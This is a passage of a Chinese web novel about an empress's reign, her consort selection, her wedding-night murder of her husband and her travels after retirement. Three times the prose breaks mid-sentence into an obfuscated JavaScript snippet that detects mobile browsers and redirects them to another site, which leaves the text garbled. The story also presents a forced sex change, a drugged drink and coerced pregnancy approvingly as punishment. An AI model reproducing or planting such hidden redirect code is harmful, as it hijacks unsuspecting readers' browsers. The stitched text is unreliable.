一想到林鹤这三年日日都陪在她身边,他的心脏便像是被剧毒腐蚀了一般,滋啦作响,灼痛难忍。 唯有除掉他,那股痛意才能消解掉。 马背上,林鹤感受到了一股森冷的注视,转头对上了李玄璋的视线。 他冲他微微颔首,平静地收回了目光,继续策马前行。 如今的他,武功臻至圆满,身居高位,父母健在,失踪多年的妹妹找回,且能够日日陪伴在皇上身边,保护她,为她做事,生活再如意不过。 也因此,他的心境平稳安宁,充满了昂扬向上的丰沛力量。 李玄璋那充满杀意的眼神,不过是投入他心湖中的一颗石子,只能激起一点点波澜,而无法对他造成任何影响。 红薯城,顾名思义,是一座盛产红薯的城市。 姜念虞派人去海外带回了不少高产的作物种苗,红薯就是其中一种。 她用异能将红薯一代又一代改善,直至它们变得高产又美味,而后专门划了一块地盘,派人前去大量种植。 几年过去,原先的红薯种植基地,规模已然扩大了数倍,不止种植了数万亩红薯,还有各种红薯加工厂,配套的医馆、学堂、商铺等种种功能性建筑也十分完善。 城中的百姓人数已经由当初的数千人,增加到了现在的数万人。 姜念虞带着李玄璋四人过来,不是带他们来参观的,而是让他们来挖红薯的。 红薯城的红薯又成熟了,丰收的季节到了。 姜念虞:“这里种的就是我昨晚上跟你们说的红薯,一人一亩地,开挖吧,日落前干完的人可以享受到一顿红薯大餐,若不然,今晚就饿一顿吧。” 一个个长得人高马大的,饿一顿不碍事。 “还愣着干嘛?快挖啊。” 姜念虞仿佛那扬起鞭子催工的可恶地主,李玄璋几人不得不拿起锄头开始干活儿。 几人顶着烈日挖红薯,姜念虞却是悠闲地躺在大伞下吃西瓜。 吃完西瓜,她觉得有些无聊,就进城微服视察了一番,处理了一些拥有权力就飘了的官吏,断了几个案子。 等她回来时,惊讶地发现,四人居然都已经干完了。 每个人的地头都堆放着小山般的红薯。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13766298|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “嗯,不错,今晚都有饭吃了。” 吃饭时,姜念虞问:“知道你们今天挖的红薯亩产量多少斤吗?” 今天挖了一天红薯,几人都被红薯的产量惊到了,心里大致有数。 拓跋烈抢答:“至少有三千斤。” 李泓:“保守了,我看有五千斤。” 空明:“八千斤是有的。” 李玄璋:“万斤有余。” 一个比一个猜的大胆。 然而都没猜对。 姜念虞一笑:“我刚让人称量了一下,红薯亩产两万五千斤。” “嘶!”一片倒吸冷气的声音响起,厅堂里的空气都稀薄了。 几人一时都震惊得失语了。 亩产两万五千斤是什么概念? 他们之前都是皇帝,除了以游牧为主业的周国,其余几国都是以农业为主,对于粮食的产量他们都是有数的。 现今最高产的水稻,亩产也不过四五百斤而已。 还得是最上等的良田配上最优良的稻种才能有的产量。 而红薯呢?他们之前亲手挖过,红薯地不过是沙地而已! 就这样居然都能亩产两万五千斤!相当于五十亩上等良田水稻的产量! 姜念虞又问:“你们觉得红薯的味道如何?” “好!尤其是下在火锅里的红薯粉条,劲道弹滑,好吃!” “我尤爱这烤红薯,软糯香甜,美味极了。” “不管是烤红薯、蒸红薯、拔丝红薯还是红薯丸子……都很是可口,而且还很饱腹。” “多产又美味,若能将红薯推广开来,使得家家都种上红薯,那天下百姓估计再也不用担心吃不饱饭了。” 姜念虞:“我正有此意,那么推广红薯一事,就交给你们了,五年内,我要这天下再无饿殍。” 岁和元年,女帝姜念虞一统天下,定国号为“大姜”。 岁和二年,女帝统一了官方文字(简体字),官方语言(普通话),以及度量衡,并命各州县官员将官话普及开来。 岁和三年,大姜第一所女子技术学院在都城朱雀城成立,校长由女帝之母虞婉儿担任。 同年,女帝下旨女子亦可立女户,自力更生。 岁和四年,有叛党聚集,欲推翻女帝,女帝率军出征,斩杀叛军贼首拓跋烈,平定叛乱。 岁和五年,大姜物阜民丰,海晏河清,老有所依,幼有所养,人人皆吃得饱饭,穿得起衣。 岁和七年,女帝迎娶皇夫李玄璋,然大婚当晚,皇夫李玄璋突发恶疾,暴病而亡,女帝哀痛不已,言明不再娶夫。 岁和九年,沿海有倭人作乱,女帝成立海军,命禁军统领林鹤为主将,抗击倭人。 岁和十年,林鹤率领海军杀向倭人老巢,占领倭岛。 岁和十一年,女帝任命外甥李晟为海军司令,李晟率领大姜舰队出使海外,巡游西洋各国,弘扬大姜文化,带回来大量奇珍异宝。 …… 岁和九十八年,大姜已成为当世第一强国,人口三亿,国土辽阔,百姓生活富足,女帝退位,并正式废除了封建帝制,采取民主选举的方式选出了一位继承者。 退位这一年,姜念虞高达120岁,在臣民们眼中,她已是一个满头华发、行动迟缓、行将就木的老人了。 回到寝宫,她坐在镜子前,冲着镜子里的人微微一笑,撕下了脸上的易容-面具。 面具卸掉后,镜子里出现的,赫然是一张依旧年轻貌美的脸。 国事再繁忙,她也不忘引导异能在体内循环,滋养五脏六腑。 因此她的身体老得很慢。 120岁的人了,看起来不过三十许,起码还能再活个一百年。 但对外,她该入土了,不然就有些吓人了。 还很可能会引起某些人疯狂的念头。 姜念虞亲自给自己举办了一个风光隆重的葬礼,将女帝去世的消息昭告天下。 而后,她就带着小红和大白(白虎)周游世界去了。 开始了快乐自由的退休生活。 80. 第80章 一张告示被贴在了城墙上。 路过的百姓纷纷围观。 有不认识大姜语言的番人问:“上(一声)面(一声)写的什(四声)么?” 旁边一位大娘一拍大腿,“嗨呀!咱们女皇陛下要选秀了!凡是年满十八岁,身体健康,相貌端正,未婚未育的男子都可以报名参加。” 番人:“太好了,我符合条件,我可以报名。” 大娘乜斜他一眼,“就你?也想参加选秀进宫为妃?可别把女皇陛下给熏着了。” 番人气结:“你这是歧视!女皇陛下没说不让番人参加,那我就可以参加。” 大娘:“行行行,你去吧。”早晚得被刷下来。 番人高兴地跑了。 过了一阵又跑回来问:“在哪里报名啊?” 得知报名地点是府衙后,又乐颠颠地跑走了。 等到了府衙,番人马克一阵惊讶,“人也太多了吧。” 赶紧站到队伍末尾去。 好在队伍行进的速度很快,约莫半个小时就轮到他了。 坐在桌子后面的工作人员道:“身份证拿出来。” 马克将身份证随身带着,闻言忙掏了出来递过去,身份证是一张巴掌大的特殊材料制作的卡片,上面写着他的国籍、出生地、出生日期、□□日期等等信息。 上面还有他的一幅小画像。 工作人员对比了下画像和他的样貌,确认他的年龄符合要求,就放行了。 门口处一左一右站着两个工作人员,右边的人旁边摆着一台测量身高的仪器。 左边的人则负责记录。 马克走过去,右边的工作人员让他脱掉鞋子和帽子,站到仪器上测一下身高。 “一米八二,合格。” 左边的工作人员看了下他的身份证,记录了几行信息,示意他可以穿上鞋帽进去了。 而排在他后面的一个人,身高一米七八,则被刷掉了。 显然,告示上列出来的那些条件,只是参加选秀的基本要求,报名之后还得经过一关一关的考核。 身高就是第一关,低于一米八的淘汰。 第二关是考核面貌。 工作人员看了看马克的脸,虽然这个番人金发碧眼,但五官倒是没什么毛病,甚至称得上英俊。 脸上也没有麻子胎记肉痣这等有碍观瞻的东西。 “嘴巴张开。” 工作人员凑近了看,见此人牙齿整齐洁白,没有口气,点了点头,“进去吧。” 第三关,看体型。 太胖的淘汰,太瘦的也淘汰。 第四关,看指甲,指甲脏污的淘汰。 第五关,看健康状况,这一关由大夫来考核,若是诊出有重大疾病或者传染病的,淘汰。 不过官府会补偿一张医疗卡作为精神补偿,落选之人可凭借医疗卡到医馆免费看诊一次。 若是落选之人患的是传染病,官府会直接将其隔离,送去医馆诊治。 通过这五关考核的人,才算是通过了初选。 马克很幸运,通过了初选,和其他几个通过考核的人被送去了桃园。 桃园是一座建在宫外的皇家园林,里面种满了奇花异草,一年四季美如画卷。 通过初选的秀男们两两一组被分配到了宿舍里。 马克新奇地在宿舍里转来转去,这里看看那里摸摸,蓦地房门被推开,一名男子走了进来。 马克眼睛一亮,热情地上前打招呼:“你好,我叫马克,来自夕阳国,你长得真英俊,你叫什么名字?” “李玄璋。” “李玄璋?难道你就是镇南王?你居然也来参加选秀?” 李玄璋并不想搭理他,但这个番人像是看不懂脸色一样,依旧凑过来对着他喋喋不休。 “李,我听说你一直没有结婚,身边也一个女人都没有,是因为暗恋女皇陛下,之前我不信,因为我觉得你可能喜欢的是男人,但是现在我信了。” 李玄璋:“……” 各州县通过初选的秀男被陆续送来了都城,住进了桃园。 半个月后,皇宫大总管、一品女官春樱来到桃园,主持第二场选秀。 三百多名秀男整整齐齐地排成方队,昂首挺胸地站在广场上,等待着即将到来的考验。 春樱朗声道:“将衣裳鞋袜都脱了,只留一条底裤即可。” 这话一出,一众秀男顿时骚动起来。 有人问:“为何要我们脱衣裳?” “大庭广众之下脱衣,成何体统?” “我是来参加选秀的,不是来卖的,大人怎能如此侮辱我等?” …… 春樱一阵无语。 “这一关考核的是你们的身材,故而让你们脱衣展示一番,有什么问题吗?” “士可杀不可辱,我乃堂堂男子汉,怎么能脱下衣服任由你们观赏?将我等当成什么人了?这选秀不参加也罢!” 有秀男愤而离去。 但更多的却留了下来,默默开始脱衣。 马克不解地对身旁的李玄璋道:“脱个衣服而已,他为什么反应那么大?女皇陛下选妃,当然要选身材好的了,报名之前他们不知道吗?” 李玄璋:“故作姿态而已。” 马克:“哦,原来如此。我就说嘛,你身为镇南王,都没有觉得被侮辱,他们怎么好意思觉得被侮辱了?” 脱下衣裳,马克自恋地凹了个姿态,大大方方地展示着自己的腹肌,“李,你看,我的身材怎么样?” 偏头看见李玄璋的身材后,马克惊呼一声:“李,你的身材也太完美了!真是让人羡慕。” 说着就要上手摸一把。 李玄璋钳住他的手腕,捏得他直喊痛。 马克:“嗷痛痛痛,快放手,我不摸了。” 缩回手,他委屈地揉着手腕,“大家都是男人,摸一下怎么了?” 李玄璋:“马克,你再看一眼,我就把你的眼珠子挖出来。” 马克忙收回视线,不敢再看了。 李真凶!不过也是真的帅气!那身材看得他垂涎欲滴。 李不让看,那他就看别人。 嘿嘿,这个身材不错,那个太辣眼了…… 春樱手持一把玉尺,在一排排几乎脱光了的秀男之间来回走动,以无比挑剔的眼光审视着他们的身材。 “淘汰,淘汰,淘汰……” 一连淘汰了数十人,春樱眼睛都有些伤到了,眼前忽然出现了一具堪称完美的男性□□。 她满意地点了点头,“晋级。” 说话时,抬头看了那男子一眼,这一看不由得大吃一惊,镇南王竟然也来了? 对上镇南王平静的目光,春樱心头一跳,故作镇定地冲他点了点头,继续看向下一个人。 下一个就是马克。 他的身材倒是不错,但是身上却散发着一股无法形容的臭味。 春樱无情地吐出两字:“淘汰。” 马克:“Why?!” 春樱:“有狐臭者不可入选。” 马克:“……” 来之前他明明在身上喷了很多香水,为什么她还能闻到他的狐臭? 大姜人的鼻子都这么灵敏吗? “李,你加油,我走了。”马克穿上衣服,垂头丧气地走了。 一场身材选拔下来,广场上只剩下了不到一百人。 接着春樱将他们带到了元阳阁,“排好队,一个一个进去。” 一名秀男走了进去,见到里头站着两个男人,一个穿着粉色的锦袍,头上还簪着一朵粉色的芍药花,通身都是粉粉的。 一个穿着蓝色袍子,面白无须。 看起来都不像是正常的阳刚的男人。 这名秀男不由有些忐忑。 穿粉袍的男人用扇子掩着嘴巴娇笑一声:“公子不必担心,这一关很简单的,只需要你把底裤脱掉,让我们检查一下你是否还是元阳之身就行了。” 秀男脸色一变,捂着胸口后退一步,仿佛被大灰狼觊觎的小白兔。 “这,这……” 蓝袍男人是前朝宫里出来的太监,见状嗓音尖细道:“都是男人,你装什么,后头还有百八十号人等着我们查看呢,可没工夫与你在这儿多费唇舌,你要是不愿意,现在就可以出宫了。” 秀男垂眸斟酌了一番,最后还是妥协了,放下了捂着胸口的手,慢慢脱下了底裤,慷慨就义般闭上了眼睛。 粉袍男是都城里最负盛名的小倌馆里的掌柜,一个男人是不是雏儿,他看上一眼就知道了。 不过这一关他们要考核的不只是秀男是否是雏儿,还要看他们的“本钱”够不够。 “本钱”不够的,可没资格伺候女皇陛下。 粉袍男和蓝袍公公各自查看了一番后,得出了结论,“行了,你出去吧,下一个。” 最后,只有三十五人通过了这一关的考核。 春樱:“恭喜诸位晋级,接下来你们继续在桃园住着,过一阵女皇陛下会驾临桃园,到时候你们有多大造化,就看你们各自的本事了。” 一天,两天,三天过去了,女皇陛下还没驾临。 一群秀男待不住了,有人给宫女塞荷包,想打听女皇陛下的喜好和行踪,有人看似镇定,实则已经朝着其他秀男下手了,想将竞争对手除掉,这样自己入选的机会就增大了。 总之,这些秀男们如八仙过海似的,各显神通。 殊不知,他们的一举一动、一言一行都被人暗中记录了下来,呈到了女皇案上。 姜念虞在批折子之余,将这些记录了秀男言行的册子当成八卦看,倒也得了不少乐趣。 “这个晚上说梦话的,淘汰掉,这个晚上磨牙的,也不能要,这个居然给李玄璋下毒,真是不知死活,李玄璋可是玩毒的祖宗……咦,李玄璋居然没有反击,我还以为他会反手将这人给毒死……” “哎,我算是发现了,不遭人妒是庸才啊,李玄璋一个人就吸引了这么多火力,可见他的存在给其余秀男带来了多大的压力,他们都不约而同地想着先除掉他。” 可惜他们不知道的是,她大张旗鼓地举办这场选秀,为的就是李玄璋。 在秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776998|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男们的望眼欲穿之下,姜念虞终于驾临了桃园。 其实到了她这一关,主要看的就是个人喜好了。 喜欢的就留下,不喜欢的就淘汰,就这么简单。 不过流程上却不能这么搞。 所以她将秀男们召见过来,让他们依次表演一下才艺。 能走到这一关的秀男,那都是有点才艺傍身的,表演起来也是赏心悦目。 只不过没有特别令人惊艳的,姜念虞都有点审美疲劳了。 直到李玄璋出场。 姜念虞来了精神,心下好奇,不知他要表演的是什么? 李玄璋表演的是弹琴。 很好听。 可惜她听不懂。 她悄声问春樱:“这是什么曲子?” 春樱:“陛下,镇南王演奏的是凤求凰。” 姜念虞恍然:“原来是凤求凰。” 待李玄璋一曲毕,姜念虞道:“赐花。” 赐花代表留人,赐香囊则是淘汰的意思。 李玄璋悬着的心,放了下来,忍不住抬头凝望了上首的人一眼。 岁岁,你终究对我还是有意的,对吗? 最终,得到赐花的只有八个人。 回到宫里,姜念虞对春樱道:“替我拟旨,封镇南王李玄璋为后,至于另外几人,你看着办吧。” 春樱领命。 拟好旨后,呈给皇上过目。 姜念虞看了一遍,点了点头,“去宣旨吧。” “奉天承运皇帝,诏曰:镇南王李玄璋乃前齐李氏皇族之子,系出高闳,祥钟戚里……命以册宝,立尔为皇后,钦此。” 宣完旨,春樱双手呈上圣旨,笑着对李玄璋道:“镇南王,恭喜。” 李玄璋接过圣旨,眼眸如春水般化开,漾着点点笑意,“多谢。” 成婚日期定于三日后。 在姜念虞这个皇帝的要求下,婚礼的仪式简化了许多。 当日,在百官的见证下,姜念虞身穿一袭正红色龙袍,牵着同样身着喜服的李玄璋走进了大殿,一同坐在了龙椅上。 百官起身恭贺:“恭喜皇上大婚,吾皇万岁万岁万万岁,皇后千岁千岁千千岁。” 姜念虞抬手:“众卿平身。” 宴至中途,姜念虞就带着李玄璋离开了,回到了布置得奢华喜庆的寝殿,一把将人推到了床上。 “岁岁……”李玄璋揽住她的腰,他等这一天已经等了很久,但当这一天真的来临时,他还是有种置身梦中的感觉,整个人熏熏然,陶陶然,眼中泛着幸福的华彩。 姜念虞低头亲了亲他的眼睛。 这样她就可以不和他对视了。 因为她怕自己对着这样一双眼睛,会心软,从而放弃接下来的计划。 唯有不看,她才能狠下心来。 桌上儿臂粗的龙凤喜烛静静燃烧着。 床上的帐幔落了下来。 在朦胧的光影下,晃荡的帐幔犹如一池潋滟的波光。 透着股至死方休的唯美浪漫。 “噗!” 在李玄璋最没有防备的那一瞬间,一根变异荆棘猛地穿透了他的心脏。 他难以置信地看着身上的人。 姜念虞垂下眸子,没有看他。 在同命蛊的作用下,她也感到了心脏被刺穿的剧痛。 但她一时半会儿还死不了。 她静静等待着。 掌心下是李玄璋渐渐湮灭的心跳。 他死了。 姜念虞翻身躺下来,运转异能为自己疗伤。 寝殿外,白虎趴在门口。 小红蹲在屋顶上,翅膀几乎覆盖了整个屋顶。 大青蛇首尾相衔绕了寝殿一圈。 三头异兽将寝殿保护得密不透风。 这是姜念虞事先安排好的。 疗伤的时候,是她最脆弱的时候,绝对不能被外界打扰。 一夜过去。 姜念虞从殿内走了出来,对迎上来的春樱道:“皇后昨晚突发恶疾,暴病而亡,你替我拟一道旨意,昭告天下。” 春樱一愣,“是。” 皇后乍然离世,姜念虞深感悲痛,故罢朝三日。 她将李玄璋的尸首收进空间里,乘着小红来到了曾经的大齐皇宫,如今这里是她的一座行宫。 曾经闹鬼的冷宫,经历了烧毁、重建,数年过去,已然看不出当初的样子了。 那棵被砍倒的桃花树,如今已经长出了许多新枝,最粗的那一根已有两人高了。 姜念虞将手贴在树干上,下一秒,树干膨胀般迅速长高长大,枝繁叶茂,开出满树灼灼桃花来。 她收回手,让桃花树维持此刻的状态。 心念一动,李玄璋的尸体被她从空间转移到了桃花树下。 树根破土而出,交缠涌动,裹着那具仍旧鲜活的尸体没入了泥土之中。 姜念虞用藤蔓织了一架秋千,坐了上去,慢悠悠晃荡着。 当初她在这里重生,遇见李玄璋,如今她将他安葬在这里,也算是给她俩的孽缘画上一个句号了。 81. 第81章(番外二) 退休后,姜念虞周游世界的第一站是大海。 她乘着小红来到了海边,让它沿着海岸线飞了一圈,选定了一个漂亮且无人的沙滩降落下去。 沙滩银白如霜雪,丝滑如绸缎,让人凭生一股破坏欲,想要用脚印在上面作画。 姜念虞脱了鞋袜,从小红背上一跃而下,落地的一瞬间,雪白细腻的沙子就迅速将她的脚包裹住了。 每走一步,都有一种磨砂般的按摩享受。 小红飞向了海面,火红的身影朝着朝阳飞去,看起来有种朝圣般的壮丽美感。 姜念虞将空间里的大白放了出来,第一次见到海的大白被涌动过来的雪白浪花吓得往后一蹦,表情搞笑极了。 浪花退去时,它又本能地扑了过去。 来回几次后,大白体会到了冲浪的乐趣,一个猛子扎进了海里,在浪里沉浮。 姜念虞任由它们撒欢去,自己也在沙滩上耍了起来。 捡贝壳。 躺在沙滩上吹风,听着海浪涌动触礁的声音。 看着太阳从海面上慢慢升起来。 看着海面被日光染成了一幅流动荡漾的油画。 觉得饿了,就爬起来,潜入海中现场捕捞。 龙虾、鲍鱼、海胆、石斑鱼……认识的不认识的海鲜抓了一大堆,直接收进空间里。 起初她只是下海来找吃的,但是后面抓鱼抓上了瘾,空间里的鱼虾都要堆成山了,这才意犹未尽地停了手。 上了岸,她拿出一堆海鲜来,蒸煮烧烤一通操作,不多时就享用到了一顿极其鲜美的海鲜大餐。 刚抓上来的鱼虾最是新鲜不过了,不用多么高超的厨艺,也不需要很多调料,简单烹饪一番滋味就已极好。 吃到嘴里鲜得人眉毛都要掉了。 像海胆和生蚝,她甚至都没处理,直接打开倒进嘴里生吃了。 一点也不腥,鲜得甚至泛甜。 吃得肚皮溜圆,姜念虞慵懒地躺在沙滩上,大喇喇地摊开四肢,任由日光照在身上。 在海边玩够了,姜念虞又潜入海中“进货”,将空间里的仓库装得满满当当,这才心满意足地离开,继续下一站。 某一日,姜念虞骑着骏马在山道上慢悠悠地走着,左边是高山,右边是峭壁,山上郁郁葱葱,鲜花烂漫,峭壁下云雾缭绕,不知深浅。 她左手伸出去,从山体外侧薅了一把探出来的野花,编成花环,自己戴一个,给骏马头上戴一个。 马儿也爱俏,戴上花环后美得蹦了蹦,差点把姜念虞颠下去。 一人一马玩闹时,一伙山匪忽然冒了出来,拦在道上。 原本他们见姜念虞孤身一人行走在山道上,想打劫她,但是见她生得如此貌美,顿时又生了别的心思。 一群土匪盯着她,眼睛里冒出了绿光。 “嗨呀,兄弟们,来大货了!” “咱弟兄们好久都没碰女人了,正想着呢,就有个美娘子主动送上门来哈哈哈哈——” 忽然,一道布满尖刺的藤蔓洞穿了那土匪的脖子,他的笑声戛然而止。 姜念虞:“笑得真难听。” “娘的敢杀我兄弟,你死定了!”土匪头子抄起大刀就朝她砍杀过来,其余土匪也跟着杀了过来。 他们已经意识到了不对劲,但仗着人多势众,而对面不过只有一个小娘皮而已,难道他们还怕了她? 姜念虞轻轻动了下手指,一根粗壮的藤蔓如灵蛇般在一群土匪间游走,啪啪啪狠抽下去。 土匪们被抽飞出去,一个个躺在地上惨叫痛呼。 姜念虞用藤蔓将他们绑了起来,对土匪头子道:“带我去你们的老巢。” 土匪头子眼珠子滴溜一转,忙不迭答应:“好好好,女侠,小的这就带路。” 来到土匪老巢,土匪头子猛地往旁边一滚,挣脱了藤蔓的束缚,大喊一声:“小的们,来货了!” 留守在土匪寨子里的土匪们纷纷出动,拿着武器冲出来。 结果他们还没近姜念虞的身,就被地上突然窜出来的野草给缠住脚,绊倒在地。 有个土匪想爬起来,姜念虞策马上前,骏马扬起蹄子踩下去,将土匪的脸都踩进泥里去了。 没花多少时间,姜念虞就将整个寨子里的土匪都制服了,绑得结结实实地丢在地上。 “如今大姜的百姓已经不愁吃喝,只要稍微勤劳些就能吃饱喝足,你们为何要当土匪打劫行人?” 姜念虞问。 土匪头子见识到了她的实力,知道自己等人落在她手里不会有好下场了,索性破罐子破摔,冷哼一声:“光是吃饱喝足有什么用?老子还得传宗接代啊,可是彩礼实在是太高了,老子就算不吃不喝攒下来的钱也不够娶媳妇的。” 姜念虞:“你就这么想传宗接代?” 土匪头子:“废话!哪个男人不想?” 姜念虞点点头,“既然这样,那我就如你所愿,怎么样?” 土匪头子会错了意,“你,你愿意嫁给我?” 姜念虞:“呵。”人在极度无语时真的会笑。 她懒得再跟他废话,直接往他嘴里塞了颗药丸,药丸里裹着一只蛊虫——阴阳蛊。 就是李玄璋的母亲当初炼制的那种改变了他性别的蛊虫。 她知道世间有这种蛊虫后,就问李玄璋讨来了炼制方法,又用异能将蛊虫异化了。 异化后的阴阳蛊,效果更强,而且是不可逆的。 “很快你就能得偿所愿了。” 她将绑在土匪头子身上的藤蔓撤了。 土匪头子感到全身剧痛,浑身的骨头像是被打碎了重组一样,胸口、喉结、下-体等部位更是火烧似的疼。 “老,老大,你……”一个土匪看着老大的变化,震惊得结巴了。 在一群土匪难以置信的注视下,他们的老大,他们人高马大、虎背熊腰的老大,竟然变成了一个膀大腰圆、胸大屁股翘的女人! 他脸上的络腮胡不见了,轮廓线条变得柔和了许多,皮肤都细腻了。 脖子上的喉结平了下去。 两腿间的玩意儿也没了,取而代之的是另一套器官。 当然,这一点因为衣服的遮挡,其他人都看不见,但是土匪头子自己却是能感受到。 他抖着手朝下摸了摸,当摸空的那一刻,他顿时崩溃了! “啊啊啊!妖女!把我的命-根子还来!” 变成女人的土匪头子声音也女性化了,他更加难以接受了,大叫着朝姜念虞冲过去,要掐死她。 姜念虞一个侧身就避开了。 土匪头子扑到了曾经的一个小弟身上。 姜念虞一拍巴掌,笑盈盈道:“这么迫不及待啊,那我就成全你们好了,今晚你们俩就洞房,完成传宗接代的大计,怎么样?” 土匪头子和小弟惊恐地注视着彼此,怀疑自己听错了。 可惜,事情还是在姜念虞的推进下顽强地进行了下去。 当晚,土匪寨子一片喜庆,但一点也不热闹。 偌大的厅堂,几十号人,却一点声音也没有,死寂得可怕。 一身嫁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13786272|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣头上罩着盖头的土匪头子,和一身喜服的小弟,在这种诡异的气氛中,被按头拜了天地。 姜念虞坐在上手,一脸高兴道:“你们怎么都不笑?难道你们不为你们老大高兴吗?他的心愿马上就要实现了。” 一众土匪只觉一股寒气从脚底窜了上来。 这个妖女是什么意思? 她不仅把他们老大变成了女人,还要让老大生孩子? 想想那个画面他们就觉得一阵恐怖,下意识捂住了自己的肚子。 一对新人被送进了洞房。 在姜念虞这个主婚人的见证下,他们喝下了交杯酒。 “我在这酒里加了点助兴的东西,祝你们今晚玩得愉快哦。” 小弟一听顿时呕吐了起来。 可惜酒已经下肚,怎么也吐不出来了。 一个半月后,土匪头子在闻到一股鱼腥味时吐了出来。 姜念虞给他诊脉,向他贺喜:“恭喜啊,你怀孕了,你们老王家,马上就要有后了,你能为你们王家传宗接代了,高不高兴?惊不惊喜?” 土匪头子呆滞当场,欲哭无泪。 姜念虞忽然问:“你喜欢儿子还是女儿?” 土匪头子脱口而出:“当然是儿子了。” 姜念虞微笑:“是吗?你就不怕你儿子生下来之后也和你一样吗?” 土匪头子浑身一寒,看着她的眼神如看魔鬼。 八个月后,土匪头子历经一天一夜的痛苦,生下了一个女婴。 他曾经的小弟,如今的丈夫接过女婴,心情复杂极了。 姜念虞对产床上的土匪头子道:“没能生下儿子,你是不是很遗憾?没关系,你可以继续生,直到生下你喜欢的儿子为止。” 土匪头子连忙摇头:“不不不,我喜欢女儿,我不喜欢儿子,我不想再生了,求求你放过我吧,我知道错了,我再也不抢劫了……” 他嚎啕大哭起来,哭得上气不接下气。 姜念虞:“那怎么能行呢,你自己说过的话这么快就忘了?好了,别哭了,月子里可不能哭,要是留下什么后遗症可就不好了,好生休息吧。” 从产房里出来,她扫视了一眼外面候着的一群土匪,“寨子里的人还是太少了,得多生些孩子才行,你们愿意为寨子的繁衍做一点牺牲吗?” 一群土匪慌忙后退。 姜念虞:“不用害羞,我知道你们都愿意的,不过既然你们这么谦让,那我就直接点一个好了,就你了,二麻子。” 继土匪头子之后,二麻子也被种下了阴阳蛊,与寨子里另一个土匪成了亲。 十月怀胎后,二麻子生下了一个男婴。 姜念虞在寨子里待了五年。 这五年时间,寨民在她的带领下,过上了殷实富足的日子,寨子里的人口也增加了许多。 当初的土匪寨子,如今已然成了个欣欣向荣的繁华小镇。 姜念虞走的时候,寨子里的小孩都依依不舍地来送她。 “虞姐姐,你可不可以不走?” “不行哦,我还想去其它地方看看呢,回去吧,以后我会回来看你们的。” 朝阳初升,姜念虞骑着骏马,沿着修好的水泥路慢慢下山了。 江南小镇。 沙漠绿洲。 冰川雪原。 海上孤岛。 异国城市…… 姜念虞走过了许许多多的地方。 在生命弥留之际,她回到了那棵最初的桃花树下,晃荡着藤蔓秋千,嘴角噙着一抹笑,慢慢闭上了眼睛。